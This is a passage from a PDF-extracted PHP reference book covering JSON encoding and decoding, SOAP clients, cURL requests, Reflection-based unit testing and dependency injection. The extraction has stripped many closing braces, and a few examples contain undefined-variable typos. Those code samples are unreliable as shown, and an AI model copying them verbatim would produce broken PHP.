array(2) {

[0] => string(3) "red"

[1] => string(4) "blue"

GoalKicker.com – PHP Notes for Professionals 178

Note: The variable types in JSON were converted to their PHP equivalent.
To return an associative array for JSON objects instead of returning an object, pass true as the second
parameter

to json_decode().

$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';

$array = json_decode($json_string, true); // Note the second parameter

var_dump($array);

Output (note the array associative structure):

array(4) {

["name"] => string(4) "Jeff"

["age"] => int(20)

["active"] => bool(true)

["colors"] =>

array(2) {

[0] => string(3) "red"

[1] => string(4) "blue"

The second parameter ($assoc) has no effect if the variable to be returned is not an object.

Note: If you use the $assoc parameter, you will lose the distinction between an empty array and an
empty object.

This means that running json_encode() on your decoded output again, will result in a different JSON
structure.

If the JSON string has a "depth" more than 512 elements (20 elements in versions older than 5.2.3, or
128 in version

5.2.3) in recursion, the function json_decode() returns NULL. In versions 5.3 or later, this limit can be
controlled

using the third parameter ($depth), as discussed below.

According to the manual:

PHP implements a superset of JSON as specified in the original » RFC 4627 - it will also encode and

decode scalar types and NULL. RFC 4627 only supports these values when they are nested inside an
array

or an object. Although this superset is consistent with the expanded definition of "JSON text" in the
newer

» RFC 7159 (which aims to supersede RFC 4627) and » ECMA-404, this may cause interoperability
issues

with older JSON parsers that adhere strictly to RFC 4627 when encoding a single scalar value.

This means, that, for example, a simple string will be considered to be a valid JSON object in PHP:

$json = json_decode('"some string"', true);

var_dump($json, json_last_error_msg());

Output:

string(11) "some string"

string(8) "No error"

But simple strings, not in an array or object, are not part of the RFC 4627 standard. As a result, such
online checkers

as JSLint, JSON Formatter & Validator (in RFC 4627 mode) will give you an error.

GoalKicker.com – PHP Notes for Professionals 179

There is a third $depth parameter for the depth of recursion (the default value is 512), which means
the amount of

nested objects inside the original object to be decoded.

There is a fourth $options parameter. It currently accepts only one value, JSON_BIGINT_AS_STRING.
The default

behavior (which leaves off this option) is to cast large integers to floats instead of strings.

Invalid non-lowercased variants of the true, false and null literals are no longer accepted as valid
input.

So this example:
var_dump(json_decode('tRue'), json_last_error_msg());

var_dump(json_decode('tRUe'), json_last_error_msg());

var_dump(json_decode('tRUE'), json_last_error_msg());

var_dump(json_decode('TRUe'), json_last_error_msg());

var_dump(json_decode('TRUE'), json_last_error_msg());

var_dump(json_decode('true'), json_last_error_msg());

Before PHP 5.6:

bool(true)

string(8) "No error"

bool(true)

string(8) "No error"

bool(true)

string(8) "No error"

bool(true)

string(8) "No error"

bool(true)

string(8) "No error"

bool(true)

string(8) "No error"

And after:

NULL

string(12) "Syntax error"

NULL

string(12) "Syntax error"

NULL
string(12) "Syntax error"

NULL

string(12) "Syntax error"

NULL

string(12) "Syntax error"

bool(true)

string(8) "No error"

Similar behavior occurs for false and null.

Note that json_decode() will return NULL if the string cannot be converted.

$json = "{'name': 'Jeff', 'age': 20 }" ; // invalid json

$person = json_decode($json);

echo $person->name; // Notice: Trying to get property of non-object: returns null

echo json_last_error();

# 4 (JSON_ERROR_SYNTAX)

GoalKicker.com – PHP Notes for Professionals 180

echo json_last_error_msg();

# unexpected character

It is not safe to rely only on the return value being NULL to detect errors. For example, if the JSON
string contains

nothing but "null", json_decode() will return null, even though no error occurred.

Section 31.2: Encoding a JSON string

The json_encode function will convert a PHP array (or, since PHP 5.4, an object which implements the

JsonSerializable interface) to a JSON-encoded string. It returns a JSON-encoded string on success or

FALSE on

failure.

$array = [
'name' => 'Jeff',

'age' => 20,

'active' => true,

'colors' => ['red', 'blue'],

'values' => [0=>'foo', 3=>'bar'],

];

During encoding, the PHP data types string, integer, and boolean are converted to their JSON
equivalent.

Associative arrays are encoded as JSON objects, and – when called with default arguments – indexed
arrays are

encoded as JSON arrays. (Unless the array keys are not a continuous numeric sequence starting from 0,
in which

case the array will be encoded as a JSON object.)

echo json_encode($array);

Output:

{"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}}

Arguments

Since PHP 5.3, the second argument to json_encode is a bitmask which can be one or more of the
following.

As with any bitmask, they can be combined with the binary OR operator |.

PHP 5.x Version ≥ 5.3

JSON_FORCE_OBJECT

Forces the creation of an object instead of an array

$array = ['Joel', 23, true, ['red', 'blue']];

echo json_encode($array);

echo json_encode($array, JSON_FORCE_OBJECT);

Output:
["Joel",23,true,["red","blue"]]

{"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}}

JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_HEX_QUOT

Ensures the following conversions during encoding:

GoalKicker.com – PHP Notes for Professionals 181

Constant Input Output

JSON_HEX_TAG < \u003C

JSON_HEX_TAG > \u003E

JSON_HEX_AMP & \u0026

JSON_HEX_APOS ' \u0027

JSON_HEX_QUOT " \u0022

$array = ["tag"=>"<>", "amp"=>"&", "apos"=>"'", "quot"=>"\""];

echo json_encode($array);

echo json_encode($array, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

Output:

{"tag":"<>","amp":"&","apos":"'","quot":"\""}

{"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"}

PHP 5.x Version ≥ 5.3

JSON_NUMERIC_CHECK

Ensures numeric strings are converted to integers.

$array = ['23452', 23452];

echo json_encode($array);

echo json_encode($array, JSON_NUMERIC_CHECK);

Output:

["23452",23452]
[23452,23452]

PHP 5.x Version ≥ 5.4

JSON_PRETTY_PRINT

Makes the JSON easily readable

$array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];

echo json_encode($array);

echo json_encode($array, JSON_PRETTY_PRINT);

Output:

{"a":1,"b":2,"c":3,"d":4}

"a": 1,

"b": 2,

"c": 3,

"d": 4

JSON_UNESCAPED_SLASHES

Includes unescaped / forward slashes in the output

$array = ['filename' => 'example.txt', 'path' => '/full/path/to/file/'];

echo json_encode($array);

echo json_encode($array, JSON_UNESCAPED_SLASHES);

Output:

GoalKicker.com – PHP Notes for Professionals 182

{"filename":"example.txt","path":"\/full\/path\/to\/file"}

{"filename":"example.txt","path":"/full/path/to/file"}

JSON_UNESCAPED_UNICODE
Includes UTF8-encoded characters in the output instead of \u-encoded strings

$blues = ["english"=>"blue", "norwegian"=>"blå", "german"=>"blau"];

echo json_encode($blues);

echo json_encode($blues, JSON_UNESCAPED_UNICODE);

Output:

{"english":"blue","norwegian":"bl\u00e5","german":"blau"}

{"english":"blue","norwegian":"blå","german":"blau"}

PHP 5.x Version ≥ 5.5

JSON_PARTIAL_OUTPUT_ON_ERROR

Allows encoding to continue if some unencodable values are encountered.

$fp = fopen("foo.txt", "r");

$array = ["file"=>$fp, "name"=>"foo.txt"];

echo json_encode($array); // no output

echo json_encode($array, JSON_PARTIAL_OUTPUT_ON_ERROR);

Output:

{"file":null,"name":"foo.txt"}

PHP 5.x Version ≥ 5.6

JSON_PRESERVE_ZERO_FRACTION

Ensures that floats are always encoded as floats.

$array = [5.0, 5.5];

echo json_encode($array);

echo json_encode($array, JSON_PRESERVE_ZERO_FRACTION);

Output:

[5,5.5]

[5.0,5.5]
PHP 7.x Version ≥ 7.1

JSON_UNESCAPED_LINE_TERMINATORS

When used with JSON_UNESCAPED_UNICODE, reverts to the behaviour of older PHP versions, and
does not escape the

characters U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR. Although valid in JSON,
these characters

are not valid in JavaScript, so the default behaviour of JSON_UNESCAPED_UNICODE was changed in
version 7.1.

$array = ["line"=>"\xe2\x80\xa8", "paragraph"=>"\xe2\x80\xa9"];

echo json_encode($array, JSON_UNESCAPED_UNICODE);

echo json_encode($array, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS);

Output:

{"line":"\u2028","paragraph":"\u2029"}

GoalKicker.com – PHP Notes for Professionals 183

{"line":"","paragraph":""}

Section 31.3: Debugging JSON errors

When json_encode or json_decode fails to parse the string provided, it will return false. PHP itself will
not raise

any errors or warnings when this happens, the onus is on the user to use the json_last_error() and

json_last_error_msg() functions to check if an error occurred and act accordingly in your application
(debug it, show

an error message, etc.).

The following example shows a common error when working with JSON, a failure to decode/encode a
JSON string

(due to the passing of a bad UTF-8 encoded string, for example).

// An incorrectly formed JSON string

$jsonString = json_encode("{'Bad JSON':\xB1\x31}");

if (json_last_error() != JSON_ERROR_NONE) {
printf("JSON Error: %s", json_last_error_msg());

#> JSON Error: Malformed UTF-8 characters, possibly incorrectly encoded

json_last_error_msg

json_last_error_msg() returns a human readable message of the last error that occurred when trying
to

encode/decode a string.

This function will always return a string, even if no error occurred.

The default non-error string is No Error

It will return false if some other (unknown) error occurred

Careful when using this in loops, as json_last_error_msg will be overridden on each iteration.

You should only use this function to get the message for display, not to test against in control
statements.

// Don't do this:

if (json_last_error_msg()){} // always true (it's a string)

if (json_last_error_msg() != "No Error"){} // Bad practice

// Do this: (test the integer against one of the pre-defined constants)

if (json_last_error() != JSON_ERROR_NONE) {

// Use json_last_error_msg to display the message only, (not test against it)

printf("JSON Error: %s", json_last_error_msg());

This function doesn't exist before PHP 5.5. Here is a polyfill implementation:

if (!function_exists('json_last_error_msg')) {

function json_last_error_msg() {

static $ERRORS = array(

JSON_ERROR_NONE => 'No error',

JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',

JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',

JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',

JSON_ERROR_SYNTAX => 'Syntax error',

JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'

);

$error = json_last_error();

GoalKicker.com – PHP Notes for Professionals 184

return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';

json_last_error

json_last_error() returns an integer mapped to one of the pre-defined constants provided by PHP.

Constant Meaning

JSON_ERROR_NONE No error has occurred

JSON_ERROR_DEPTH The maximum stack depth has been exceeded

JSON_ERROR_STATE_MISMATCH Invalid or malformed JSON

JSON_ERROR_CTRL_CHAR Control character error, possibly incorrectly encoded

JSON_ERROR_SYNTAX Syntax error (since PHP 5.3.3)

JSON_ERROR_UTF8 Malformed UTF-8 characters, possibly incorrectly encoded (since PHP 5.5.0)

JSON_ERROR_RECURSION One or more recursive references in the value to be encoded

JSON_ERROR_INF_OR_NAN One or more NAN or INF values in the value to be encoded

JSON_ERROR_UNSUPPORTED_TYPE A value of a type that cannot be encoded was given

Section 31.4: Using JsonSerializable in an Object

PHP 5.x Version ≥ 5.4

When you build REST API's, you may need to reduce the information of an object to be passed to the
client

application. For this purpose, this example illustrates how to use the JsonSerialiazble interface.

In this example, the class User actually extends a DB model object of a hypotetical ORM.

class User extends Model implements JsonSerializable {

public $id;

public $name;

public $surname;

public $username;

public $password;

public $email;

public $date_created;

public $date_edit;

public $role;

public $status;

public function jsonSerialize() {

return [

'name' => $this->name,

'surname' => $this->surname,

'username' => $this->username

];

Add JsonSerializable implementation to the class, by providing the jsonSerialize() method.

public function jsonSerialize()

Now in your application controller or script, when passing the object User to json_encode() you will
get the return

json encoded array of the jsonSerialize() method instead of the entire object.

GoalKicker.com – PHP Notes for Professionals 185

json_encode($User);

Will return:

{"name":"John", "surname":"Doe", "username" : "TestJson"}

properties values example.

This will both reduce the amount of data returned from a RESTful endpoint, and allow to exclude
object properties

from a json representation.

Using Private and Protected Properties with json_encode()

To avoid using JsonSerializable, it is also possible to use private or protected properties to hide class
information

from json_encode() output. The Class then does not need to implement \JsonSerializable.

The json_encode() function will only encode public properties of a class into JSON.

<?php

class User {

// private properties only within this class

private $id;

private $date_created;

private $date_edit;

// properties used in extended classes

protected $password;

protected $email;

protected $role;

protected $status;
// share these properties with the end user

public $name;

public $surname;

public $username;

// jsonSerialize() not needed here

$theUser = new User();

var_dump(json_encode($theUser));

Output:

string(44) "{"name":null,"surname":null,"username":null}"

Section 31.5: Header json and the returned response

By adding a header with content type as JSON:

<?php

$result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about');

GoalKicker.com – PHP Notes for Professionals 186

//return the json response:

header('Content-Type: application/json'); // <-- header declaration

echo json_encode($result, true); // <--- encode

exit();

The header is there so your app can detect what data was returned and how it should handle it.

Note that: the content header is just information about type of returned data.

If you are using UTF-8, you can use:

header("Content-Type: application/json;charset=utf-8");

Example jQuery:

$.ajax({
url:'url_your_page_php_that_return_json'

}).done(function(data){

console.table('json ',data);

console.log('Menu1: ', data.menu1);

});

GoalKicker.com – PHP Notes for Professionals 187

Chapter 32: SOAP Client

Parameter Details

$wsdl URI of WSDL or NULL if using non-WSDL mode

$options Array of options for SoapClient. Non-WSDL mode requires location and uri to set, all other
options

are optional. See table below for possible values.

Section 32.1: WSDL Mode

First, create a new SoapClient object, passing the URL to the WSDL file and optionally, an array of
options.

// Create a new client object using a WSDL URL

$soap = new SoapClient('https://example.com/soap.wsdl', [

# This array and its values are optional

'soap_version' => SOAP_1_2,

'compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP,

'cache_wsdl' => WSDL_CACHE_BOTH,

# Helps with debugging

'trace' => TRUE,

'exceptions' => TRUE

]);

Then use the $soap object to call your SOAP methods.

$result = $soap->requestData(['a', 'b', 'c']);

Section 32.2: Non-WSDL Mode

This is similar to WSDL mode, except we pass NULL as the WSDL file and make sure to set the location
and uri

options.

$soap = new SoapClient(NULL, [

'location' => 'https://example.com/soap/endpoint',

'uri' => 'namespace'

]);

Section 32.3: Classmaps

When creating a SOAP Client in PHP, you can also set a classmap key in the configuration array. This
classmap

defines which types defined in the WSDL should be mapped to actual classes, instead of the default
StdClass. The

reason you would want to do this is because you can get auto-completion of fields and method calls
on these

classes, instead of having to guess which fields are set on the regular StdClass.

class MyAddress {

public $country;

public $city;

public $full_name;

public $postal_code; // or zip_code

public $house_number;

class MyBook {

public $name;

public $author;
GoalKicker.com – PHP Notes for Professionals 188

// The classmap also allows us to add useful functions to the objects

// that are returned from the SOAP operations.

public function getShortDescription() {

return "{$this->name}, written by {$this->author}";

$soap_client = new SoapClient($link_to_wsdl, [

// Other parameters

"classmap" => [

"Address" => MyAddress::class, // ::class simple returns class as string

"Book" => MyBook::class,

]);

After configuring the classmap, whenever you perform a certain operation that returns a type Address
or Book, the

SoapClient will instantiate that class, fill the fields with the data and return it from the operation call.

// Lets assume 'getAddress(1234)' returns an Address by ID in the database

$address = $soap_client->getAddress(1234);

// $address is now of type MyAddress due to the classmap

echo $address->country;

// Lets assume the same for 'getBook(1234)'

$book = $soap_client->getBook(124);

// We can not use other functions defined on the MyBook class

echo $book->getShortDescription();

// Any type defined in the WSDL that is not defined in the classmap
// will become a regular StdClass object

$author = $soap_client->getAuthor(1234);

// No classmap for Author type, $author is regular StdClass.

// We can still access fields, but no auto-completion and no custom functions

// to define for the objects.

echo $author->name;

Section 32.4: Tracing SOAP request and response

Sometimes we want to look at what is sent and received in the SOAP request. The following methods
will return the

XML in the request and response:

SoapClient::__getLastRequest()

SoapClient::__getLastRequestHeaders()

SoapClient::__getLastResponse()

SoapClient::__getLastResponseHeaders()

For example, suppose we have an ENVIRONMENT constant and when this constant's value is set to
DEVELOPMENT we

want to echo all information when the call to getAddress throws an error. One solution could be:

try {

$address = $soap_client->getAddress(1234);

} catch (SoapFault $e) {

if (ENVIRONMENT === 'DEVELOPMENT') {

var_dump(

$soap_client->__getLastRequestHeaders()

$soap_client->__getLastRequest(),

GoalKicker.com – PHP Notes for Professionals 189

$soap_client->__getLastResponseHeaders(),
$soap_client->__getLastResponse()

);

...

GoalKicker.com – PHP Notes for Professionals 190

Chapter 33: Using cURL in PHP

Parameter Details

curl_init -- Initialize a cURL session

url The url to be used in the cURL request

curl_setopt -- Set an option for a cURL transfer

ch The cURL handle (return value from curl_init())

option CURLOPT_XXX to be set - see PHP documentation for the list of options and acceptable values

value The value to be set on the cURL handle for the given option

curl_exec -- Perform a cURL session

ch The cURL handle (return value from curl_init())

curl_close -- Close a cURL session

ch The cURL handle (return value from curl_init())

Section 33.1: Basic Usage (GET Requests)

cURL is a tool for transferring data with URL syntax. It support HTTP, FTP, SCP and many others(curl >=
7.19.4).

Remember, you need to install and enable the cURL extension to use it.

// a little script check is the cURL extension loaded or not

if(!extension_loaded("curl")) {

die("cURL extension not loaded! Quit Now.");

}
// Actual script start

// create a new cURL resource

// $curl is the handle of the resource

$curl = curl_init();

// set the URL and other options

curl_setopt($curl, CURLOPT_URL, "http://www.example.com");

// execute and pass the result to browser

curl_exec($curl);

// close the cURL resource

curl_close($curl);

Section 33.2: POST Requests

If you want to mimic HTML form POST action, you can use cURL.

// POST data in array

$post = [

'a' => 'apple',

'b' => 'banana'

];

// Create a new cURL resource with URL to POST

$ch = curl_init('http://www.example.com');

// We set parameter CURLOPT_RETURNTRANSFER to read output

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

GoalKicker.com – PHP Notes for Professionals 191

// Let's pass POST data

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

// We execute our request, and get output in a $response variable

$response = curl_exec($ch);

// Close the connection

curl_close($ch);

Section 33.3: Using Cookies

cURL can keep cookies received in responses for use with subsequent requests. For simple session
cookie handling

in memory, this is achieved with a single line of code:

curl_setopt($ch, CURLOPT_COOKIEFILE, "");

In cases where you are required to keep cookies after the cURL handle is destroyed, you can specify
the file to store

them in:

curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookies.txt");

Then, when you want to use them again, pass them as the cookie file:

curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookies.txt");

Remember, though, that these two steps are not necessary unless you need to carry cookies between
different

cURL handles. For most use cases, setting CURLOPT_COOKIEFILE to the empty string is all you need.

Cookie handling can be used, for example, to retrieve resources from a web site that requires a login.
This is

typically a two-step procedure. First, POST to the login page.

<?php

# create a cURL handle

$ch = curl_init();

# set the URL (this could also be passed to curl_init() if desired)

curl_setopt($ch, CURLOPT_URL, "https://www.example.com/login.php");

# set the HTTP method to POST

curl_setopt($ch, CURLOPT_POST, true);

# setting this option to an empty string enables cookie handling

# but does not load cookies from a file

curl_setopt($ch, CURLOPT_COOKIEFILE, "");

# set the values to be sent

curl_setopt($ch, CURLOPT_POSTFIELDS, array(

"username"=>"joe_bloggs",

"password"=>"$up3r_$3cr3t",

));

# return the response body

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

# send the request

$result = curl_exec($ch);

GoalKicker.com – PHP Notes for Professionals 192

The second step (after standard error checking is done) is usually a simple GET request. The important
thing is to

reuse the existing cURL handle for the second request. This ensures the cookies from the first response
will be

automatically included in the second request.

# we are not calling curl_init()

# simply change the URL

curl_setopt($ch, CURLOPT_URL, "https://www.example.com/show_me_the_foo.php");

# change the method back to GET

curl_setopt($ch, CURLOPT_HTTPGET, true);

# send the request

$result = curl_exec($ch);

# finished with cURL

curl_close($ch);

# do stuff with $result...

This is only intended as an example of cookie handling. In real life, things are usually more
complicated. Often you

must perform an initial GET of the login page to pull a login token that needs to be included in your
POST. Other

sites might block the cURL client based on its User-Agent string, requiring you to change it.

Section 33.4: Using multi_curl to make multiple POST

requests

Sometimes we need to make a lot of POST requests to one or many different endpoints. To deal with
this scenario,

we can use multi_curl.

First of all, we create how many requests as needed exactly in the same way of the simple example
and put them in

an array.

We use the curl_multi_init and add each handle to it.

In this example, we are using 2 different endpoints:

//array of data to POST

$request_contents = array();

//array of URLs

$urls = array();

//array of cURL handles

$chs = array();

//first POST content

$request_contents[] = [

'a' => 'apple',

'b' => 'banana'

];

//second POST content

$request_contents[] = [

'a' => 'fish',

'b' => 'shrimp'

];

//set the urls

$urls[] = 'http://www.example.com';

$urls[] = 'http://www.example2.com';

GoalKicker.com – PHP Notes for Professionals 193

//create the array of cURL handles and add to a multi_curl

$mh = curl_multi_init();

foreach ($urls as $key => $url) {

$chs[$key] = curl_init($url);

curl_setopt($chs[$key], CURLOPT_RETURNTRANSFER, true);

curl_setopt($chs[$key], CURLOPT_POST, true);

curl_setopt($chs[$key], CURLOPT_POSTFIELDS, $request_contents[$key]);

curl_multi_add_handle($mh, $chs[$key]);

Then, we use curl_multi_exec to send the requests

//running the requests

$running = null;

do {

curl_multi_exec($mh, $running);

} while ($running);
//getting the responses

foreach(array_keys($chs) as $key){

$error = curl_error($chs[$key]);

$last_effective_URL = curl_getinfo($chs[$key], CURLINFO_EFFECTIVE_URL);

$time = curl_getinfo($chs[$key], CURLINFO_TOTAL_TIME);

$response = curl_multi_getcontent($chs[$key]); // get results

if (!empty($error)) {

echo "The request $key return a error: $error" . "\n";

else {

echo "The request to '$last_effective_URL' returned '$response' in $time seconds." . "\n";

curl_multi_remove_handle($mh, $chs[$key]);

// close current handler

curl_multi_close($mh);

A possible return for this example could be:

The request to 'http://www.example.com' returned 'fruits' in 2 seconds.

The request to 'http://www.example2.com' returned 'seafood' in 5 seconds.

Section 33.5: Sending multi-dimensional data and multiple

files with CurlFile in one request

Let's say we have a form like the one below. We want to send the data to our webserver via AJAX and
from there to

a script running on an external server.

GoalKicker.com – PHP Notes for Professionals 194

So we have normal inputs, a multi-select field and a file dropzone where we can upload multiple files.
Assuming the AJAX POST request was successful we get the following data on PHP site:

// print_r($_POST)

Array

[first_name] => John

[last_name] => Doe

[activities] => Array

[0] => soccer

[1] => hiking

and the files should look like this

// print_r($_FILES)

Array

[upload] => Array

[name] => Array

[0] => my_photo.jpg

[1] => my_life.pdf

GoalKicker.com – PHP Notes for Professionals 195

[type] => Array

(

[0] => image/jpg

[1] => application/pdf

[tmp_name] => Array

[0] => /tmp/phpW5spji

[1] => /tmp/phpWgnUeY

[error] => Array

[0] => 0

[1] => 0

[size] => Array

[0] => 647548

[1] => 643223

So far, so good. Now we want to send this data and files to the external server using cURL with the
CurlFile Class

Since cURL only accepts a simple but not a multi-dimensional array, we have to flatten the $_POST
array first.

To do this, you could use this function for example which gives you the following:
// print_r($new_post_array)

Array

[first_name] => John

[last_name] => Doe

[activities[0]] => soccer

[activities[1]] => hiking

The next step is to create CurlFile Objects for the uploaded files. This is done by the following loop:

$files = array();

foreach ($_FILES["upload"]["error"] as $key => $error) {

if ($error == UPLOAD_ERR_OK) {

$files["upload[$key]"] = curl_file_create(

$_FILES['upload']['tmp_name'][$key],

$_FILES['upload']['type'][$key],

$_FILES['upload']['name'][$key]

);

curl_file_create is a helper function of the CurlFile Class and creates the CurlFile objects. We save each
object in the

GoalKicker.com – PHP Notes for Professionals 196

$files array with keys named "upload[0]" and "upload[1]" for our two files.

We now have to combine the flattened post array and the files array and save it as $data like this:

$data = $new_post_array + $files;

The last step is to send the cURL request:

$ch = curl_init();

curl_setopt_array($ch, array(

CURLOPT_POST => 1,

CURLOPT_URL => "https://api.externalserver.com/upload.php",

CURLOPT_RETURNTRANSFER => 1,

CURLINFO_HEADER_OUT => 1,

CURLOPT_POSTFIELDS => $data

));

$result = curl_exec($ch);

curl_close ($ch);

Since $data is now a simple (flat) array, cURL automatically sends this POST request with Content
Type:

multipart/form-data

In upload.php on the external server you can now get the post data and files with $_POST and $_FILES
as you would

normally do.

Section 33.6: Creating and sending a request with a custom

method

By default, PHP Curl supports GET and POST requests. It is possible to also send custom requests, such
as DELETE,

PUT or PATCH (or even non-standard methods) using the CURLOPT_CUSTOMREQUEST parameter.

$method = 'DELETE'; // Create a DELETE request

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);

$content = curl_exec($ch);

curl_close($ch);
Section 33.7: Get and Set custom http headers in php

Sending The Request Header

$uri = 'http://localhost/http.php';

$ch = curl_init($uri);

curl_setopt_array($ch, array(

CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'),

CURLOPT_RETURNTRANSFER =>true,

CURLOPT_VERBOSE => 1

));

$out = curl_exec($ch);

curl_close($ch);

// echo response output

echo $out;

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Reading the custom header

print_r(apache_request_headers());

Output:

Array

[Host] => localhost

[Accept] => */*

[X-User] => admin

[X-Authorization] => 123456

[Content-Length] => 9

[Content-Type] => application/x-www-form-urlencoded

)

We can also send the header using below syntax:

curl --header "X-MyHeader: 123" www.google.com

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Chapter 34: Reflection

Section 34.1: Feature detection of classes or objects

Feature detection of classes can partly be done with the property_exists and method_exists functions.

class MyClass {

public $public_field;

protected $protected_field;

private $private_field;

static $static_field;

const CONSTANT = 0;

public function public_function() {}

protected function protected_function() {}

private function private_function() {}

static function static_function() {}

// check properties

$check = property_exists('MyClass', 'public_field'); // true

$check = property_exists('MyClass', 'protected_field'); // true

$check = property_exists('MyClass', 'private_field'); // true, as of PHP 5.3.0

$check = property_exists('MyClass', 'static_field'); // true

$check = property_exists('MyClass', 'other_field'); // false

// check methods
$check = method_exists('MyClass', 'public_function'); // true

$check = method_exists('MyClass', 'protected_function'); // true

$check = method_exists('MyClass', 'private_function'); // true

$check = method_exists('MyClass', 'static_function'); // true

// however...

$check = property_exists('MyClass', 'CONSTANT'); // false

$check = property_exists($object, 'CONSTANT'); // false

With a ReflectionClass, also constants can be detected:

$r = new ReflectionClass('MyClass');

$check = $r->hasProperty('public_field'); // true

$check = $r->hasMethod('public_function'); // true

$check = $r->hasConstant('CONSTANT'); // true

// also works for protected, private and/or static members.

Note: for property_exists and method_exists, also an object of the class of interest can be provided
instead of the

class name. Using reflection, the ReflectionObject class should be used instead of ReflectionClass.

Section 34.2: Testing private/protected methods

Sometimes it's useful to test private & protected methods as well as public ones.

class Car

/**

* @param mixed $argument

* @return mixed

*/

protected function drive($argument)

GoalKicker.com – PHP Notes for Professionals 199

return $argument;

/**

* @return bool

*/

private static function stop()

return true;

Easiest way to test drive method is using reflection

class DriveTest

/**

* @test

*/

public function testDrive()

// prepare

$argument = 1;

$expected = $argument;

$car = new \Car();

$reflection = new ReflectionClass(\Car::class);

$method = $reflection->getMethod('drive');

$method->setAccessible(true);

// invoke logic

$result = $method->invokeArgs($car, [$argument]);

// test

$this->assertEquals($expected, $result);

If the method is static you pass null in the place of the class instance

class StopTest

/**

* @test

*/

public function testStop()

// prepare

$expected = true;

$reflection = new ReflectionClass(\Car::class);

$method = $reflection->getMethod('stop');

$method->setAccessible(true);

// invoke logic

$result = $method->invoke(null);

// test

$this->assertEquals($expected, $result);
}

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Section 34.3: Accessing private and protected member

variables

Reflection is often used as part of software testing, such as for the runtime creation/instantiation of
mock objects.

It's also great for inspecting the state of an object at any given point in time. Here's an example of
using Reflection

in a unit test to verify a protected class member contains the expected value.

Below is a very basic class for a Car. It has a protected member variable that will contain the value
representing the

color of the car. Because the member variable is protected we cannot access it directly and must use a
getter and

setter method to retrieve and set its value respectively.

class Car

protected $color

public function setColor($color)

$this->color = $color;

public function getColor($color)

return $this->color;
}

To test this many developers will create a Car object, set the car's color using Car::setColor(), retrieve
the color

using Car::getColor(), and compare that value to the color they set:

/**

* @test

* @covers \Car::setColor

*/

public function testSetColor()

$color = 'Red';

$car = new \Car();

$car->setColor($color);

$getColor = $car->getColor();

$this->assertEquals($color, $reflectionColor);

On the surface this seems okay. After all, all Car::getColor() does is return the value of the protected
member

variable Car::$color. But this test is flawed in two ways:

1. It exercises Car::getColor() which is out of the scope of this test

2. It depends on Car::getColor() which may have a bug itself which can make the test have a false
positive or

negative

Let's look at why we shouldn't use Car::getColor() in our unit test and should use Reflection instead.
Let's say a
developer is assigned a task to add "Metallic" to every car color. So they attempt to modify the
Car::getColor() to

prepend "Metallic" to the car's color:

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class Car

protected $color

public function setColor($color)

$this->color = $color;

public function getColor($color)

return "Metallic "; $this->color;

Do you see the error? The developer used a semi-colon instead of the concatenation operator in an
attempt to

prepend "Metallic" to the car's color. As a result, whenever Car::getColor() is called, "Metallic " will be
returned

regardless of what the car's actual color is. As a result our Car::setColor() unit test will fail even though

Car::setColor() works perfectly fine and was not affected by this change.

So how do we verify Car::$color contains the value we are setting via Car::setColor()? We can use
Refelection to

inspect the protected member variable directly. So how do we do that? We can use Refelection to
make the

protected member variable accessible to our code so it can retrieve the value.

Let's see the code first and then break it down:

/**

* @test

* @covers \Car::setColor

*/

public function testSetColor()

$color = 'Red';

$car = new \Car();

$car->setColor($color);

$reflectionOfCar = new \ReflectionObject($car);

$protectedColor = $reflectionOfForm->getProperty('color');

$protectedColor->setAccessible(true);

$reflectionColor = $protectedColor->getValue($car);

$this->assertEquals($color, $reflectionColor);

Here is how we are using Reflection to get the value of Car::$color in the code above:

1. We create a new ReflectionObject representing our Car object

2. We get a ReflectionProperty for Car::$color (this "represents" the Car::$color variable)

3. We make Car::$color accessible

4. We get the value of Car::$color

As you can see by using Reflection we could get the value of Car::$color without having to call
Car::getColor() or

any other accessor function which could cause invalid test results. Now our unit test for Car::setColor()
is safe

and accurate.

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Chapter 35: Dependency Injection

Dependency Injection (DI) is a fancy term for "passing things in". All it really means is passing the
dependencies of an

object via the constructor and / or setters instead of creating them upon object creation inside the
object.

Dependency Injection might also refer to Dependency Injection Containers which automate the
construction and

injection.

Section 35.1: Constructor Injection

Objects will often depend on other objects. Instead of creating the dependency in the constructor, the
dependency

should be passed into the constructor as a parameter. This ensures there is not tight coupling between
the objects,

and enables changing the dependency upon class instantiation. This has a number of benefits,
including making

code easier to read by making the dependencies explicit, as well as making testing simpler since the
dependencies

can be switched out and mocked more easily.

In the following example, Component will depend on an instance of Logger, but it doesn't create one.
It requires one

to be passed as argument to the constructor instead.

interface Logger {

public function log(string $message);

}

class Component {

private $logger;

public function __construct(Logger $logger) {

$this->logger = $logger;

Without dependency injection, the code would probably look similar to:

class Component {

private $logger;

public function __construct() {

$this->logger = new FooLogger();

Using new to create new objects in the constructor indicates that dependency injection was not used
(or was used

incompletely), and that the code is tightly coupled. It is also a sign that the code is incompletely tested
or may have

brittle tests that make incorrect assumptions about program state.

In the above example, where we are using dependency injection instead, we could easily change to a
different

